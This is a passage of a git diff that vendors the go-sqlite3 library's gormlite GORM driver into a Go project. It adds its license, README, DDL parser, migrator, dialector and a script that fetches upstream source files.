nil).(WindowFunction) + fn.Inverse(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackHandle(sqlite *sqlite, pCtx uint32) any { + pApp := uint32(sqlite.call(sqlite.api.userData, uint64(pCtx))) + return util.GetHandle(sqlite.ctx, pApp) +} + +func callbackAggregate(sqlite *sqlite, pCtx uint32, close *uint32) any { + // On close, we're getting rid of the handle. + // Don't allocate space to store it. + var size uint64 + if close == nil { + size = ptrlen + } + ptr := uint32(sqlite.call(sqlite.api.aggregateCtx, uint64(pCtx), size)) + + // Try loading the handle, if we already have one, or want a new one. + if ptr != 0 || size != 0 { + if handle := util.ReadUint32(sqlite.mod, ptr); handle != 0 { + fn := util.GetHandle(sqlite.ctx, handle) + if close != nil { + *close = handle + } + if fn != nil { + return fn + } + } + } + + // Create a new aggregate and store the handle. + fn := callbackHandle(sqlite, pCtx).(func() AggregateFunction)() + if ptr != 0 { + util.WriteUint32(sqlite.mod, ptr, util.AddHandle(sqlite.ctx, fn)) + } + return fn +} + +func callbackArgs(sqlite *sqlite, nArg, pArg uint32) []Value { + args := make([]Value, nArg) + for i := range args { + args[i] = Value{ + sqlite: sqlite, + handle: util.ReadUint32(sqlite.mod, pArg+ptrlen*uint32(i)), + } + } + return args +} diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work b/vendor/github.com/ncruces/go-sqlite3/go.work new file mode 100644 index 0000000000..18e3785922 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work @@ -0,0 +1,6 @@ +go 1.21 + +use ( + . + ./gormlite +) diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work.sum b/vendor/github.com/ncruces/go-sqlite3/go.work.sum new file mode 100644 index 0000000000..cf0b1d6783 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work.sum @@ -0,0 +1,4 @@ +golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE new file mode 100644 index 0000000000..558c4ff6df --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/LICENSE @@ -0,0 +1,22 @@ +MIT License + +Copyright (c) 2023 Nuno Cruces +Copyright (c) 2023 Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md new file mode 100644 index 0000000000..768a5b4029 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/README.md @@ -0,0 +1,26 @@ +# GORM SQLite Driver + +[![Go Reference](https://pkg.go.dev/badge/image)](https://pkg.go.dev/github.com/ncruces/go-sqlite3/gormlite) + +## Usage + +```go +import ( + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(gormlite.Open("gorm.db"), &gorm.Config{}) +``` + +Checkout [https://gorm.io](https://gorm.io) for details. + +### Foreign-key constraint activation + +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(gormlite.Open( + "file:gorm.db?_pragma=busy_timeout(10000)&_pragma=foreign_keys(1)"), + &gorm.Config{}) +``` \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go new file mode 100644 index 0000000000..69cd1791ff --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/ddlmod.go @@ -0,0 +1,231 @@ +package gormlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\w\d-]+[%v]? ON (.*)$`, sqliteSeparator, sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf(`(?is)(CREATE TABLE [%v]?[\w\d-]+[%v]?)(?:\s*\((.*)\))?`, sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf(`[(,][%v]?(\w+)[%v]?`, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf(`^[%v]?([\w\d]+)[%v]?\s+([\w\(\)\d]+)(.*)$`, sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile(`(?i) DEFAULT \(?(.+)?\)?( |COLLATE|GENERATED|$)`) + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +func getAllColumns(s string) []string { + allMatches := columnsRegexp.FindAllStringSubmatch(s, -1) + columns := make([]string, 0, len(allMatches)) + for _, matches := range allMatches { + if len(matches) > 1 { + columns = append(columns, matches[1]) + } + } + return columns +} + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + for _, name := range getAllColumns(f) { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 { + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + for _, column := range getAllColumns(matches[1]) { + for idx, c := range result.columns { + if c.NameValue.String == column { + c.UniqueValue = sql.NullBool{Bool: strings.ToUpper(strings.Fields(str)[1]) == "UNIQUE", Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh new file mode 100644 index 0000000000..fcf9a70bbf --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/download.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/ddlmod_test.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/error_translator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/migrator.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite.go" +curl -#OL "https://github.com/go-gorm/sqlite/raw/master/sqlite_test.go" \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go new file mode 100644 index 0000000000..ac7a2d299d --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/error_translator.go @@ -0,0 +1,21 @@ +package gormlite + +import ( + "errors" + + "github.com/ncruces/go-sqlite3" + "gorm.io/gorm" +) + +func (dialector Dialector) Translate(err error) error { + switch { + case + errors.Is(err, sqlite3.CONSTRAINT_UNIQUE), + errors.Is(err, sqlite3.CONSTRAINT_PRIMARYKEY): + return gorm.ErrDuplicatedKey + case + errors.Is(err, sqlite3.CONSTRAINT_FOREIGNKEY): + return gorm.ErrForeignKeyViolated + } + return err +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go new file mode 100644 index 0000000000..9e2c4c907a --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/migrator.go @@ -0,0 +1,431 @@ +package gormlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + } + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + if err := m.DropIndex(value, oldName); err != nil { + return err + } + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile("\\s*('|`|\")?\\b" + table + "\\b('|`|\")?\\s*") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go new file mode 100644 index 0000000000..837d57c935 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go @@ -0,0 +1,219 @@ +// Package gormlite provides a GORM driver for SQLite. +package gormlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/callbacks" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" + + _ "github.com/ncruces/go-sqlite3/driver" +) + +type Dialector struct { + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open("sqlite3", dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + // Distinguish between schema.Time and tag time + if val, ok := field.TagSettings["TYPE"]; ok { + return val + } else { + return "datetime" + } + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git 